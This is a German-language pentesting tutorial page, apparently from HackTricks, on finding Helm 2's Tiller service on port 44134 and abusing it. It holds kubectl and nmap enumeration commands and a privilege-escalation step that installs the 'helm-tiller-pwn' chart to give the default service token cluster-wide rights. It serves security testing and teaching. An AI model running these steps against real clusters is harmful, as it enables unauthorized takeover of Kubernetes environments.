hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
3.3 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Grundlegende Informationen
Helm ist der **Paketmanager** für Kubernetes. Er ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden **Helm Charts** genannt. **Tiller** ist der **Dienst**, der standardmäßig auf dem Port 44134 läuft und den Dienst anbietet.
**Standardport:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Aufzählung
Wenn Sie **Pods und/oder Dienste** verschiedener Namespaces auflisten können, listen Sie diese auf und suchen Sie nach denjenigen mit **"tiller" in ihrem Namen**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Beispiele:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Sie könnten auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
```bash
sudo nmap -sS -p 44134 <IP>
```
Sobald Sie es entdeckt haben, können Sie mit ihm kommunizieren, indem Sie die Client-Helm-Anwendung herunterladen. Sie können Tools wie `homebrew` verwenden oder sich die [**offizielle Veröffentlichungsseite**](https://github.com/helm/helm/releases)** ansehen.** Für weitere Details oder andere Optionen siehe [die Installationsanleitung](https://v2.helm.sh/docs/using_helm/#installing-helm).
Dann können Sie **den Dienst auflisten**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilegieneskalation
Standardmäßig wurde **Helm2** im **Namespace kube-system** mit **hohen Rechten** installiert. Wenn Sie also den Dienst finden und Zugriff darauf haben, könnte dies Ihnen ermöglichen, die **Rechte zu eskalieren**.
Alles, was Sie tun müssen, ist, ein Paket wie dieses zu installieren: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), das dem **Standarddiensttoken Zugriff auf alles im gesamten Cluster gewährt.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) finden Sie die **Erklärung des Angriffs**, aber im Grunde genommen, wenn Sie die Dateien [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) und [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) im Verzeichnis _helm-tiller-pwn/pwnchart/templates/_ lesen, können Sie sehen, wie **alle Berechtigungen dem Standard-Token zugewiesen werden**.
{{#include ../banners/hacktricks-training.md}}